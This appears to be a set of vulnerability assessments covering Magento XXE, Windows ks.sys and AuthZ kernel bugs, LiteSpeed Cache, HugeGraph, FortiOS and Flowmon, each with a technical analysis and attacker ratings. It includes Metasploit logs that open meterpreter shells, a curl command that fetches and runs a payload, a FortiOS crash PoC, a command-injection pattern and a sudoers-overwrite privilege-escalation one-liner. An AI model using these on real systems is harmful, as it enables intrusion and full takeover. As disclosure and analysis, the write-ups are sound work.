cGhwOi8vZmlsdGVyL2NvbnZlcnQuYmFzZTY0LWVuY29kZS9jb252ZXJ0LmJhc2U2NC1lbmNvZGUvcmVzb3VyY2U9ZGF0YTp0ZXh0L3BsYWluO2Jhc2U2NCxZVlJNYUd4WWMwTjZVbTFSWTI5Q1RGUlpSMFpZWlhoc2FXZFBTbWgyYkVKTVRuZEpjMFJqWjJ0M1ZtbFlhMlZwWm5JPQ== [+] The data wrapper is working [*] Sending XXE request [*] Filter path being sent: cGhwOi8vZmlsdGVyL2NvbnZlcnQuYmFzZTY0LWVuY29kZS9jb252ZXJ0LmJhc2U2NC1lbmNvZGUvcmVzb3VyY2U9cGhwOi8vZmlsdGVyLy9yZXNvdXJjZT1kYXRhOnRleHQvcGxhaW47YmFzZTY0LGNVZEpkRWhzZVVsMGVtcEZTVTlPVVc5dWFHeDRZbU5tWW5WWFRYRk9VSGx4ZG5SdlZWaGFZV2x2Y0hCVlRVaDFZa0U9 [+] The filter wrapper is working [*] Sending XXE request [*] Filter path being sent: cGhwOi8vZmlsdGVyL2NvbnZlcnQuYmFzZTY0LWVuY29kZS9jb252ZXJ0LmJhc2U2NC1lbmNvZGUvcmVzb3VyY2U9cGhwOi8vZmlsdGVyL3psaWIuaW5mbGF0ZS9yZXNvdXJjZT1kYXRhOnRleHQvcGxhaW47YmFzZTY0LGN3bXVMSGNPZFF2TmNROHRyTXJ6SzgxS0xuUFBEL01vaTh4T1NRK3A4a3VKeWk1TUxuY3ZkdzZzeVBIT2NYTVA5STBDQUE9PQ== [+] The zlib extension is enabled [+] Exploit precondition 2/3 met: PHP appears to be exploitable. [*] Sending XXE request [*] Filter path being sent: cGhwOi8vZmlsdGVyL2NvbnZlcnQuYmFzZTY0LWVuY29kZS9jb252ZXJ0LmJhc2U2NC1lbmNvZGUvcmVzb3VyY2U9L3Byb2Mvc2VsZi9tYXBz [+] Successfully downloaded /proc/self/maps and parsed regions [*] Potential heaps: [i]0x7b2518800040, 0x7b2518400040, 0x7b2517e00040, 0x7b2517a00040, 0x7b2517600040[/] (using first) [+] Successfully extracted the location in memory of the PHP heap [+] Successfully located the libc region in memory: {:start=>135399346831360, :stop=>135399346987008, :permissions=>"r--p", :path=>"/usr/lib/x86_64-linux-gnu/libc.so.6"} [*] Sending XXE request [*] Filter path being sent: cGhwOi8vZmlsdGVyL2NvbnZlcnQuYmFzZTY0LWVuY29kZS9jb252ZXJ0LmJhc2U2NC1lbmNvZGUvcmVzb3VyY2U9L3Vzci9saWIveDg2XzY0LWxpbnV4LWdudS9saWJjLnNvLjY= [+] Exploit precondition 3/3 met: glibc is version: 2.36 [+] The target appears to be vulnerable. [*] Attempting to parse libc to extract necessary symbols and addresses [*] __libc_malloc: 135399347456096 [*] __libc_system: 135399347143824 [*] __libc_realloc: 135399347458144 [*] Attempting to build an exploit PHP filter path with the information extracted from libc and /proc/self/maps [*] COMMAND: curl -so ./WcyjzEOpnb http://172.16.199.130:8080/7IH_n64ep-e10j3LFxxxxg; chmod +x ./WcyjzEOpnb; ./WcyjzEOpnb && kill -9 $PPID [*] Sending payload... [*] Sending XXE request [*] Filter path being sent: cGhwOi8vZmlsdGVyL3psaWIuaW5mbGF0ZS96bGliLmluZmxhdGUvZGVjaHVuay9jb252ZXJ0Lmljb252LmxhdGluMS5sYXRpbjEvZGVjaHVuay9jb252ZXJ0Lmljb252LmxhdGluMS5sYXRpbjEvZGVjaHVuay9jb252ZXJ0Lmljb252LmxhdGluMS5sYXRpbjEvZGVjaHVuay9jb252ZXJ0Lmljb252LlVURi04LklTTy0yMDIyLUNOLUVYVC9jb252ZXJ0LnF1b3RlZC1wcmludGFibGUtZGVjb2RlL2NvbnZlcnQuaWNvbnYubGF0aW4xLmxhdGluMS9yZXNvdXJjZT1kYXRhOnRleHQvcGxhaW47YmFzZTY0LGUzdlhzTy9KRGxHMmhLUHZXZlkxRksveUNqM0tKK0h6M3VmNHZxWU4zckdIT3BuZDl5MS8vOUE5Y3cvMzRaTlNlY3h5SDM0Ny9Pblg4Z2hkSkJlNDBvdVJBUzlJNEhxOTYzaGtYcnJtOWNDZHJ0cXBNNk5WcEZrSTZCQ2l2WTVsUmZIWmM1Yk9XUnJqdnJUSC9FQi9vZlo5OWZsMis2NkVYUXZ6anM3ZWJYdnI5ZC82cjg2VGU5NzZuUDg4MlUybG5oKy9hUXgvOWxkUGszZ2F1TDVJTnRmMDF1WXRRZEU3dDM2TkJobXpkNnJSc2VqTTI5ZnM5bTM3K25wL3piem42NS9lUDkvL1JKTVpyM0VINnAvOE8vMlQ2ZE52L2VmY0o5N2J4N3ZiVDg4NFgxME5OTy9hUFB1dDBabmIxNzh0elQvZlgveHY3VjI3VzQ5TDUzMitOaS8rMW12djIzSzV2elBXWDVwMy85Wm5NNy9xYTk5dW5RdTg5ZmYwRHBYanRibmZ3M2ZmUHphOTUrZm4rWk8zRys0Ny8vNXRYVnpSK3VkUHpoUytYWjJibjd2NjdVZkRPdFgxZS9QZi9wUzRQMy83OU1tRnVaTGZKOS9mOFBmS3R2VHFxL2VQR2RkLy83dG40KzhkMjU5ZjN6am5lZG02RjdWelBsaFBMNnM5K2I2R1kvdHp5MCtUdjMrcmtlYi9mUDI1NWJYWms5ZmFucEpJenJ6OWZmb3U2V1AxNWtvL3EvSDdsV0hHc1YzWExMd3R2WGYyZVhXbXB0WC92eDJ2ZkZPT1FIakg5TmthYmV1NTUzNGxRazNROHorQkZMaERwam9sUjNKdi80cU5Qa3FUL2hGd1RZSGx0eE0zaktya0E1Tm51cWo4WmNlditFSFJtNGtiVTcvWUxUcG0xT254aTBBaU9mRDBobkx5NlJlMUxyMnBRaE8veU9OWDNIQjZvL3V4YVJkL2QwaWRWbEY2YVU4Z09LWW45L2ZvTHY0dWFEck4wK1ZTUFFIRmVzZmxKS1BkM2l0bjZVenVXUEovTktCSEE1cmNnRGJZdTNYS2pNeWRyN2ZlMnI1NnpVYVhUYndFL0xocyt6UWhZOTN5dldHL3k2YWFUdlBZUnNDWEI3NWNDMHBhOW5UZDlhejc2ellkRXpwcFJzRDRHZGVpc3VZc1BkSmZjcnQvejkwSXU2UHpwKzMvODdDL1BtNWF4d1paUWk3Yk9rMHFYZk9qOHQxdmk0OThPcWwwcUl4NHE0Uk9xM2QzMURNQUFBPT0= [*] Client 172.19.0.4 requested /7IH_n64ep-e10j3LFxxxxg [*] Sending payload to 172.19.0.4 (curl/7.88.1) [*] Transmitting intermediate stager...(126 bytes) [*] Sending stage (3045380 bytes) to 172.19.0.4 [*] Meterpreter session 2 opened (172.16.199.130:4444 -> 172.19.0.4:57838) at 2024-11-06 17:58:19 -0800 session -i -1 [-] Unknown command: session. Did you mean sessions? Run the help command for more details. msf6 exploit(linux/http/magento_xxe_to_rce) > sessions -i -1 [*] Starting interaction with 2... meterpreter > getuid Server username: daemon meterpreter > sysinfo Computer : 172.19.0.4 OS : Debian 12.5 (Linux 6.8.0-40-generic) Architecture : x64 BuildTuple : x86_64-linux-musl Meterpreter : x64/linux meterpreter >
References
https://www.ambionics.io/blog/iconv-cve-2024-2961-p1#dechunking-properly
Technical Analysis
The ks.sys driver on Windows is one of the core components of Kernel Streaming and is installed by default. There exists an Access Mode Mismatch LPE in this driver which can be exploited on versions of Windows between 10.0.10240 – 10.0.25398 before the June 2024 patch Tuesday update which include but are not limited to:
- Windows 11 22H2 (before 10.0.22621.3737)
- Windows 11 21H2 (before 10.0.22000.3019)
- Windows 10 22H2 (before 10.0.19045.4529)
- Windows 10 21H2 (before 10.0.19044.4529)
- Windows 10 1607 (before 10.0.14393.7070)
- Windows Server 2022 (before 10.0.20348.2522)
- Windows Server 2016 (before 10.0.14393.7070)
Older EOL versions of Windows are said to be vulnerable though I have not tested them. I have found the version listed above to be exploitable with the metasploit module. It should be noted that Hyper-V hosted installations of Windows by default don’t have an audio device configured making the vulnerability unexploitable.
About the Bug Class
Access Mode Mismatch bugs in the Windows kernel center around the PreviousMode member of the KTHREAD
structure. Every thread has a previous access mode associated with it. The PreviousMode is set to UserMode(1) if a user operates on a device or file through Nt* System Service Call, indicating that the System Service call is from the user. The PreviousMode is set to KernelMode(2) if for example a device driver invoking the Zw* System Service Call.
RequestorMode is a similar field in the I/O Request Packet (IRP) which indicates if the original request came from KernelMode or UserMode. This commonly used field is typically derived from PreviousMode.
About the Vulnerability
An application can use IOCTL_KS_PROPERTY to get or set properties, or to determine the properties supported by a KS object. An application passes IOCTL_KS_PROPERTY
to the ks!KsSynchronousIoControlDevice with a few parameters: IOControl, RequestorMode, Input Buffer, Input Buffer Length, Output Buffer, Output Buffer Length and Status Code. To improve efficiency in IOCTL_KS_PROPERTY
of Kernel Streaming, the requests KSPROPERTY_TYPE_SERIALIZESET
and KSPROPERTY_TYPE_UNSERIALIZESET
are provided to allow users to operate on multiple properties in a single call.
The vulnerability stems from the driver’s use of the function ks!KsSynchronousIoControlDevice
.There are multiple calls to this function throughout the driver which incorrectly hard code the RequestorMode parameter value KernelMode. The vulnerable function ks!KsSynchronousIoControlDevice
can be invoked by issuing a KSPROPERTY_TYPE_UNSERIALIZESET
request in which user controlled parameters are handled with KernelMode privileges specifically when the property is set to KSPROPSETID_DrmAudioStream
. This provides a primitive that allows users to perform arbitrary IOCTL_KS_PROPERTY
operations.
To achieve EoP with this primitive first kCFG must be bypassed. By using the legitimate function RtlSetAllBits
from ntoskrnl.exe
, the arbitrary IOCTL_KS_PROPERTY
operation can be turned into a arbitrary write primitive which can be used to achieve EoP by whatever typical method the user preferers. The metasploit module uses the write primitive to replace the current process token with a system token. Abusing token privileges is also an option.
Attacker Value and Exploitability
The exploit for this vulnerability is very reliable and very stable. It’s worked every time I’ve run it on every vulnerable system I’ve tested it on. Some Windows EoP exploits depending on the nature of the exploit and how privileges are actually being elevated can be flakey and their success rates can vary however this exploit is rock solid. The vulnerable ks.sys is installed by default making this a very useful exploit for attackers and is why I chose to rate it 5/5 for Exploitability. It requires user level privileges as it’s EoP and although affects a very wide range of supported Windows operating systems and is why I chose to give an Attacker Value rating of 4/5.
Metasploit Module in Action
msf6 payload(windows/x64/meterpreter/reverse_tcp) > use cve_2024_35250 Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 exploit/windows/local/cve_2024_35250_ks_driver 2024-06-11 excellent Yes Windows Access Mode Mismatch LPE in ks.sys Interact with a module by name or index. For example info 0, use 0 or use exploit/windows/local/cve_2024_35250_ks_driver [*] Using exploit/windows/local/cve_2024_35250_ks_driver [*] Using configured payload windows/x64/meterpreter/reverse_tcp msf6 exploit(windows/local/cve_2024_35250_ks_driver) > set lhost 172.16.199.1 lhost => 172.16.199.1 msf6 exploit(windows/local/cve_2024_35250_ks_driver) > set lport 5555 lport => 5555 msf6 exploit(windows/local/cve_2024_35250_ks_driver) > set session -1 session => -1 msf6 exploit(windows/local/cve_2024_35250_ks_driver) > run [*] Reloading module... [*] Started reverse TCP handler on 192.168.123.1:5555 [*] Running automatic check ("set AutoCheck false" to disable) [+] The target appears to be vulnerable. ks.sys is present, Windows Version detected: Windows 10+ Build 22621 [*] Launching notepad to host the exploit... [*] The notepad path is: C:\Windows\System32\notepad.exe [*] The notepad pid is: 4704 [*] Reflectively injecting the DLL into 4704... [*] Sending stage (201798 bytes) to 192.168.123.232 [*] Meterpreter session 18 opened (192.168.123.1:5555 -> 192.168.123.232:49837) at 2024-11-05 16:59:05 -0800 meterpreter > getuid Server username: NT AUTHORITY\SYSTEM dmeterpreter > sysinfo Computer : MSFDEVICE OS : Windows 11 (10.0 Build 22621). Architecture : x64 System Language : en_US Domain : WORKGROUP Logged On Users : 2 Meterpreter : x64/windows meterpreter > exit
References
https://github.com/varwara/CVE-2024-35250
https://devco.re/blog/2024/08/23/streaming-vulnerabilities-from-windows-kernel-proxying-to-kernel-part1-en/
https://googleprojectzero.blogspot.com/2019/03/windows-kernel-logic-bug-class-access.html
Technical Analysis
CVE-2024-44000 is an unauthenticated account takeover vulnerability in LiteSpeed Cache, a Wordpress plugin that currently has around 6 million active installations. In LiteSpeed Cache versions prior to 6.5.0.1, when and only when the Debug Logging feature is enabled, the plugin will log cookies from HTTP traffic including valid admin cookies to the /wp-content/debug.log
endpoint which is accessible without authentication.
The Debug Logging feature in the plugin is not enabled by default. Running a production wordpress site with debug logging enabled is probably not something someone would do intentionally however with 6 million active installations I’m sure it’s happening. Here is an excerpt from a vulnerable instance’s debug.log
where an admin cookie can be found:
09/11/24 21:32:40.561 [192.168.65.1:20112 1 zXo] 💓 ------POST HTTP/1.1 /wp-admin/update.php ? action=upload-plugin 09/11/24 21:32:40.561 [192.168.65.1:20112 1 zXo] User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit... 09/11/24 21:32:40.561 [192.168.65.1:20112 1 zXo] Accept: 09/11/24 21:32:40.561 [192.168.65.1:20112 1 zXo] Accept Encoding: 09/11/24 21:32:40.561 [192.168.65.1:20112 1 zXo] Cookie: wordpress_70490311fe7c84acda8886406a6d884b=admin%7C1726261494%7Cftvy2vH8dTLXjkbZqNg6PU9u7RkI89U1qYfpsvqSPb3%7C8d04a7bea4697a96e4259346dc07654a081597b5484fb91df2a883c72f69f49d; wordpress_logged_in_70490311fe7c84acda8886406a6d884b=admin%7C1726261494%7Cftvy2vH8dTLXjkbZqNg6PU9u7RkI89U1qYfpsvqSPb3%7Cb4fb6a316b94520cb51847f71fed25da55d1bcbe8295870dbc6eaa6282654c3b 09/11/24 21:32:40.561 [192.168.65.1:20112 1 zXo] X-LSCACHE: false [11-Sep-2024 21:32:40 UTC] PHP Deprecated: Creation of dynamic property PieRegister::$admin_path is deprecated in /var/www/html/wp-content/plugins/pie-register/classes/base.php on line 19
A CVSS score of 7.5 has been given to the CVE, which is on the lower side for a vulnerability which can result in Remote Code Execution on the target system, however given the non-default config necessary to exploit, it makes more sense. If an attacker finds an Admin cookie in the debug.log, they can use that to upload a malicious plugin containing a PHP payload. This exploitation path can be seen in action through a demonstration of the metasploit module:
msf6 exploit(multi/http/wp_litespeed_cookie_theft) > run [*] Started reverse TCP handler on 192.168.1.67:4444 [*] Running automatic check ("set AutoCheck false" to disable) [*] One or more potential admin cookies were found [+] The target is vulnerable. Found and tested valid admin cookie, we can upload and execute a payload [*] Preparing payload... [*] Uploading payload... [*] Executing the payload at /wp-content/plugins/qSNzhabMTP/OiDynMUetY.php... [*] Sending stage (39927 bytes) to 192.168.1.67 [+] Deleted OiDynMUetY.php [+] Deleted qSNzhabMTP.php [+] Deleted ../qSNzhabMTP [*] Meterpreter session 7 opened (192.168.1.67:4444 -> 192.168.1.67:64935) at 2024-09-11 23:18:14 -0700 meterpreter > getuid Server username: www-data meterpreter > sysinfo Computer : 29292f368fe3 OS : Linux 29292f368fe3 6.10.4-linuxkit #1 SMP PREEMPT_DYNAMIC Mon Aug 12 08:48:58 UTC 2024 x86_64 Meterpreter : php/linux
The adoption of the patch in version 6.5.0.1
has been fairly steady since its release on September 4th 2024. Version 6.5.0.2
was released on September 6th, 2024 and since the release of 6.5.0.1
the plugin itself (irrespective of patch level) has been downloaded approximately 4,986,014 times. So there’s definitely over 1 million instances out there that could be vulnerable if Debug Logging is enabled. It should also be noted that patching will purge the /wp-content/debug.log
so you don’t need to worry about removing it manually.
Technical Analysis
CVE-2024-30088 is a Windows Kernel Elevation of Privilege Vulnerability which affects many recent versions of Windows 10, Windows 11 and Windows Server 2016, 2019 and 2022. The list of affected Windows is as follows:
- Windows 10 1507 before 10.0.10240.20680
- Windows 10 1607 before 10.0.14393.7070
- Windows 10 1809 before 10.0.17763.5936
- Windows 10 21h2 before 10.0.19044.4529
- Windows 10 22h2 before 10.0.19045.4529
- Windows 11 21h2 before 10.0.22000.3019
- Windows 11 22h2 before 10.0.22621.3737
- Windows 11 23h2 before 10.0.22631.3737
- Windows Server 2016 before 10.0.14393.7070
- Windows Server 2019 before 10.0.17763.5936
- Windows Server 2022 before 10.0.20348.2522
- Windows Server 2022 23h2 before 10.0.25398.950
The vulnerability exists inside the function called AuthzBasepCopyoutInternalSecurityAttributes
specifically when the kernel copies the _AUTHZBASEP_SECURITY_ATTRIBUTES_INFORMATION
of the current token object to user mode:
struct _AUTHZBASEP_SECURITY_ATTRIBUTES_INFORMATION { ULONG SecurityAttributeCount; //0x0 struct _LIST_ENTRY SecurityAttributesList; //0x8 ULONG WorkingSecurityAttributeCount; //0x18 struct _LIST_ENTRY WorkingSecurityAttributesList; //0x20 };
When the kernel performs the copy of the SecurityAttributesList
, it sets the list of the SecurityAttribute
’s structure directly to the user supplied pointer. It then calls RtlCopyUnicodeString
and AuthzBasepCopyoutInternalSecurityAttributeValues
to copy out the names and values of the SecurityAttribute
leading to multiple Time Of Check Time Of Use (TOCTOU) vulnerabilities in the function.
The bug is easy to exploit if you have a user level session running on an affected windows version (of which there are many) and because it provides SYSTEM level access I gave this a 4/5 for both Attacker Value and Exploitability.
A metasploit module is currently up for review in a pull request at the time of writing and can be exploited like so:
msf6 > use windows/local/cve_2024_30038_authz_basep [*] Using configured payload windows/x64/meterpreter/reverse_tcp msf6 exploit(windows/local/cve_2024_30038_authz_basep) > set session -1 session => -1 msf6 exploit(windows/local/cve_2024_30088_authz_basep) > exploit [*] Started reverse TCP handler on 172.16.199.1:5555 [*] Running automatic check ("set AutoCheck false" to disable) [+] The target appears to be vulnerable. Version detected: Windows 10+ Build 19045 [*] Reflectively injecting the DLL into 696... [+] The exploit was successful, reading SYSTEM token from memory... [+] Successfully stole winlogon handle: 3432 [+] Successfully retrieved winlogon pid: 452 [*] Sending stage (201798 bytes) to 172.16.199.208 [*] Meterpreter session 18 opened (172.16.199.1:5555 -> 172.16.199.208:52890) at 2024-08-30 12:45:49 -0700 meterpreter > getuid Server username: NT AUTHORITY\SYSTEM meterpreter > sysinfo Computer : DESKTOP-FGNRA7E OS : Windows 10 (10.0 Build 19045). Architecture : x64 System Language : en_US Domain : WORKGROUP Logged On Users : 2 Meterpreter : x64/windows meterpreter >
Technical Analysis
This vulnerability flew under my radar until I saw the results of the 2024 pwnie awards and couldn’t help but notice how it won the award for “Best RCE”. This vulnerability in the Microsoft Messaging Queue Service is a critical pre-authenticated remote code execution vulnerability with a CVSS score of 9.8. It affects all Windows versions from Server 2008 to Server 2022, and Windows 10 and 11, the flaw stems from a use-after-free issue triggered via an HTTP-based protocol. The vulnerable object is fully controllable, heightening the exploitation risk. Notably, the bug was discovered through an overlooked RPC client pattern.
By default MSMQ is not enabled on Windows. However, when you install popular applications such as Microsoft Exchange, it gets enabled during the installation process. Given popularity of the service among common applications a scan of the internet last year by CheckPointResearch found that ~360,000 IPs have the 1801/tcp open to the Internet and are running the MSMQ service.
Currently there is no publicly available PoC, however if one were to be released I would assume we would see exploitation in the wild, given the large internet facing footprint of MSMQ.
Technical Analysis
This is a Remote Code Execution vulnerability Apache HugeGraph in versions before 1.3.0 which are running on Java 8 or Java 11. Apache HugeGraph utilizes Gremlin which is a versatile graph traversal language which enables efficient and expressive graph queries across a range of graph databases and frameworks. The vulnerability exists in the /gremlin
endpoint and can be used to bypass sandbox restrictions in order to gain privileged access to the target.
If we take a look at the part of the patch relevant relevant to CVE-2024-27348:
We can see that a number of critical system classes are now being registered to be filtered out by this new function filterCriticalSystemClasses
which tells us the vulnerability exists due to non-filtered classes.
If we take a look at the Gremlin documentation we can see how we can interact with Gremlin in order to send a query and receive a response:
https://hugegraph.apache.org/docs/clients/restful-api/gremlin/#method—url-1
We now know that Gremlin accepts user supplied java and runs it in the backend. If we try sending some blatant RCE to Gremin like so:
We get the following response:
{“exception”:”java.lang.SecurityException”,”message”:”Not allowed to execute command via Gremlin”,”cause”:”[java.lang.SecurityException]”}
If we examine where this error comes from we can see how we can bypass this exception. HugeGraph uses the HugeSecurityManager
class to override SystemSecurityManager
to implement some custom security checks to ensure that potentially malicious actions initiated by Gremlin are dealt with accordingly. By examining the three methods below from the vulnerable versions of HugeGraph we can see how this vulnerability can be exploited.
The checkExec
method is the method that threw the error we were seeing above;
It calls callFromGremlin
in order to determine whether or not the user supplied gremlin statement is safe to execute, which is just a wrapper around callFromWorkerWithClass
:
This is the class containing the vulnerability. We can see the callFromWorkerWithClass
function tries to determine if the current execution context originates from the worker classes associated with gremlin server tasks. It first gets the current thread and checks to see if the thread’s name begins with gremlin-server-exec
or task-worker
. That is the crux of the vulnerability – if the current thread name does not start with either of those strings it will completely skip the security check put in place to ensure no malicious requests are passed in through gremlin.
We can see if the current thread does start with gremlin-server-exec
or task-worker
then the method gets the stack trace from the current thread which is an array of StackTraceElement
objects representing the call stack. It iterates through each element and extracts the class name of each. It then compares each class name extracted to the blacklist of class names, if there are any matches the method returns true
indicating the security exception above should be thrown.
So, now that we’ve taken a look at the patch, the vulnerable function, and how one can send gremlin requests to Apache HugeGraph we now have all the information needed to exploit the vulnerability. All we need to do is change the name of our thread in our payload using reflections which will allow us to bypass the class blacklist mentioned above. This is what a successful java payload would looks like:
Testing
If you’d like to exploit this vulnerability yourself, a vulnerable test environment can be spun up with the following docker command:
docker run -itd –name=hugegraph -p 8080:8080 hugegraph/hugegraph:1.0.0
And the following metasploit module can be used to gain root access to the container:
msf6 exploit(linux/http/apache_hugegraph_gremlin_rce) > set rhost 127.0.0.1 rhost => 127.0.0.1 msf6 exploit(linux/http/apache_hugegraph_gremlin_rce) > set lhost 172.16.199.1 lhost => 172.16.199.1 msf6 exploit(linux/http/apache_hugegraph_gremlin_rce) > run [*] Started reverse TCP handler on 172.16.199.1:4444 [*] Running automatic check ("set AutoCheck false" to disable) [+] The target appears to be vulnerable. Apache HugeGraph version detected: 1.0.0 [*] 127.0.0.1:8080 - Executing Automatic Target for cmd/linux/http/x64/meterpreter/reverse_tcp [*] Sending stage (3045380 bytes) to 172.16.199.1 [*] Meterpreter session 8 opened (172.16.199.1:4444 -> 172.16.199.1:53803) at 2024-07-29 13:59:20 -0700 meterpreter > getuid Server username: root meterpreter > sysinfo Computer : 172.17.0.2 OS : Debian 11.4 (Linux 6.6.32-linuxkit) Architecture : x64 BuildTuple : x86_64-linux-musl Meterpreter : x64/linux meterpreter >
Attack Value and Exploitability
The main reason to give this vulnerability a 4 out of 5 rating for attacker value is that ApacheHuge graph is not usually a public facing application. There were only 6 publicly available instances found on the internet by vsociety. However if an attacker gains a foothold in your network and then discovers a vulnerable Apache HugeGraph instance, the root access it will provide will be quite valuable.
As for exploitability, 5 out of 5 was chosen because it is exploitable:
- Easily
- Remotely
- And without authentication.
Technical Analysis
Attacker Value & Exploitability
CVE-2024-21762 is a memory corruption vulnerability that affects a very wide range of FortiNet Firewalls. However it is difficult to exploit and is likely that every affected version will require its own unique offsets, ROP chain etc. in order to be exploited successfully. Patching should be prioritized as these devices sit on the edge of the network however widespread exploitation across all versions is quite unlikely. Due to these factors I’d say the attacker value is a 3/5 as financially motivated sophisticated threat actors could still benefit from this exploit although the exploitability I would say is quite low, 1/5, given the complexities that come along with a memory corruption vulnerability such as this one.
Technical Analysis
FortiOS and FortiProxy with the SSL VPN feature enabled (which is not enabled by default) are vulnerable to an out-of-bound write vulnerability which can allow an unauthenticated attacker to execute arbitrary code by sending specially crafted HTTP requests. The affected versions are:
Version | Affected | Solution |
---|---|---|
FortiOS 7.4 | 7.4.0 through 7.4.2 | Upgrade to 7.4.3 or above |
FortiOS 7.2 | 7.2.0 through 7.2.6 | Upgrade to 7.2.7 or above |
FortiOS 7.0 | 7.0.0 through 7.0.13 | Upgrade to 7.0.14 or above |
FortiOS 6.4 | 6.4.0 through 6.4.14 | Upgrade to 6.4.15 or above |
FortiOS 6.2 | 6.2.0 through 6.2.15 | Upgrade to 6.2.16 or above |
FortiOS 6.0 | 6.0.0 through 6.0.17 | Upgrade to 6.0.18 or above |
FortiProxy 7.4 | 7.4.0 through 7.4.2 | Upgrade to 7.4.3 or above |
FortiProxy 7.2 | 7.2.0 through 7.2.8 | Upgrade to 7.2.9 or above |
FortiProxy 7.0 | 7.0.0 through 7.0.14 | Upgrade to 7.0.15 or above |
FortiProxy 2.0 | 2.0.0 through 2.0.13 | Upgrade to 2.0.14 or above |
FortiProxy 1.2 | 1.2 all versions | Migrate to a fixed release |
FortiProxy 1.1 | 1.1 all versions | Migrate to a fixed release |
FortiProxy 1.0 | 1.0 all versions | Migrate to a fixed release |
The vulnerability stems from how the request body is parsed when the header Transfer-Encoding: Chunked
is set. The vulnerability in itself is quite limited – all it allows for is the ability to write two bytes (\r\n) out of bounds onto the stack. Since all you have to work with is two bytes which have to be 0a0d
achieving RCE by directly hijacking rip is not an option and so one must focus on the memory pointers saved on the stack.
Below is a simple PoC which can be used to trigger the vulnerability and cause a segmentation fault:
import socket import ssl def create_ssock(hostname, port): try: context = ssl.create_default_context() context.check_hostname = False context.verify_mode = ssl.CERT_NONE ssock = context.wrap_socket(socket.socket(socket.AF_INET), server_hostname=hostname) ssock.connect((hostname, port)) return ssock except Exception as e: print(f"Error creating secure socket: {e}") return None hostname = '192.168.1.50' # Replace with your target hostname port = 443 # Replace with your target port if different pkt = b"""\ GET / HTTP/1.1 Host: %s Transfer-Encoding: chunked %s\r\n%s\r\n\r\n""" % (hostname.encode(), b"0"*((0x202e//2)-2), b"a") ssock = create_ssock(hostname, port) if ssock: ssock.send(pkt) response = ssock.recv(4096) print(response) else: print("Failed to create a secure socket.")
The above crash PoC will result in the following segmentation fault:
We can see that the stack pointer has been overwritten by our two bytes 0x0a0d
. Turning this seemingly harmless out of bounds write into RCE is no easy process.
By decompiling the binaries of the SSL VPN you can see that a certain function of interest saves the values of r13
and a few other registers on the stack and restores them when the function returns. r13
is of particular interest because it holds a structure pointer to a structure called a1
which happens to hold an address on the heap.
The goal here is to spray the heap with our desired payload. Then trigger the out of bounds write vulnerability when the heap address is stored in r13
such that the low byte of the a1
pointer is overwritten and if all goes to plan, will point to the pre-arranged memory as the shown below:
With this we could reliably redirect the r13
pointer to a buffer we control. Now we just have to fill the buffer with our payload and we should have remote code execution.
Once the above is successfully set up and the memory pointed to is controllable the hard part is done. Normally at this point you would use the system function to execute commands. However in FortiGate this is not an option – the system function cannot be used as the system function runs /bin/sh
and the /bin/sh
binary on the FortiGate device is a custom application which only runs a few commands.
So if we look back to a previous FortiGate vulnerability from last year CVE-2023-27997 (a similar memory corruption vulnerability in the SSL VPN component) and a number of others FortiGate exploits, they often overwrite a function pointer in an SSL struct which can be triggered by a call to SSL_do_handshake
.
Since SSL_do_handshake
is dynamically linked we can call it ourselves. We control the first argument and just have to create an SSL struct with the function pointer where we need it.
Once the struct is set up we can load an address from our buffer and now we have direct execution to an arbitrary address. Now all that’s left to do is to construct a ROP chain that will set up and call execl
with the same Node.js reverse shell as the last FortiGate exploit. Lucky for exploit devs the FortiGate main program is an all in one binary with a size of over 70MB which provides a plethora of gadgets which can be used.
There is a lot more that goes into ensuring that this process is successful and if you’re interested in exactly how it works I would suggest reading the following wonderfully written blog post.
Technical Analysis
Progress Flowmon is a network performance monitoring and security solution developed by Progress Software. It is designed to provide detailed visibility into network traffic and performance, helping organizations to monitor, analyze, and secure their networks effectively.
In Flowmon versions prior to 11.1.14 and 12.3.5, an OS command injection vulnerability exists allowing unauthenticated users to execute code in the context of the flowmon
user. The vulnerable endpoint which is accessible without authentication is /service.pdfs/confluence
. This endpoint is used to generate PDFs for the application and accepts three parameters when targeted with a GET
request.
The parameters that the GET
request expects, as seen below, are lang
, file
and pluginPath
.
The pluginPath
parameter doesn’t get sanitized and then gets used to build a $url
path:
The unsanitized $url
string gets sent to the $pdfGenerator->generate()
method. This method eventually calls the run($command)
method inside /var/www/app/flowmon/models/Exec.php
which is a wrapper for running system commands which attempts to generate the PDF with the supplied parameters.
See how it only sends one $command
argument to the run
function? This is the crux of the vulnerability which we will explore further in a moment.
A couple things to note here. First, the ironic function definition which states Should prevent cli injection
What’s interesting is that if this function was used in the way it was intended, the pluginPath
parameter likely wouldn’t be exploitable. The run
function accepts a second parameter which is an array of command arguments which are enclosed in quotes using the escapeshellarg()
function which does indeed prevent cli injection.
However, the vulnerability exists because when the command is passed to the run
function, it is passed as a long string into the first $command
parameter and does not make use of the $command_args
array which gets sanitized. Due to this it’s possible to escape the command using: $(<aribitrary command here>)
which allows you to execute commands in the context of the flowmon
user.
Priv Escalation pairing list
What better to complement a command injection exploit than a privilege escalation technique which was left unpatched by the vendor.
The flowmon
user on affected devices are allowed to run a long list of commands with sudo
privileges. Below is an excerpt, run sudo -l
to see the full list:
(root) NOPASSWD: /usr/sbin/lshw (root) NOPASSWD: /opt/MegaRAID/MegaCli/MegaCli64 (root) NOPASSWD: /etc/invea-tech/hanic/hanic-flowmon (root) NOPASSWD: /sbin/ip route (root) NOPASSWD: /usr/local/bin/remote_storage (root) NOPASSWD: /usr/bin/php /var/www/shtml/index.php Cli\:AddNewSource * (root) NOPASSWD: /etc/plugins/*/* * (root) NOPASSWD: /usr/bin/net-snmp-config * (root) NOPASSWD: /sbin/ip6tables (root) NOPASSWD: /etc/init.d/fmd-widget-data (root) NOPASSWD: /usr/sbin/SHC/self-health-checker.sh
The command we’re interested in exploiting is:
/usr/bin/php /var/www/shtml/index.php Cli\:AddNewSource *
Simply because we have write access to the file index.php
which will get executed by /usr/bin/php
with root privileges.
ls -l /var/www/shtml/index.php -rw-r--r-- 1 flowmon flowmon 1447 Jun 19 20:27 /var/www/shtml/index.php
What we can do is first back up the file index.php
. Then overwrite it with a payload which gives unlimited sudo access to the flowmon
user by appending the following to the sudoers
file.
echo \'<?php system("echo \\"ADMINS ALL=(ALL) NOPASSWD: ALL\\" >> /etc/sudoers"); ?>\' > /var/www/shtml/index.php;
Then using the command mentioned above, run our payload which we overwrote to index.php
.
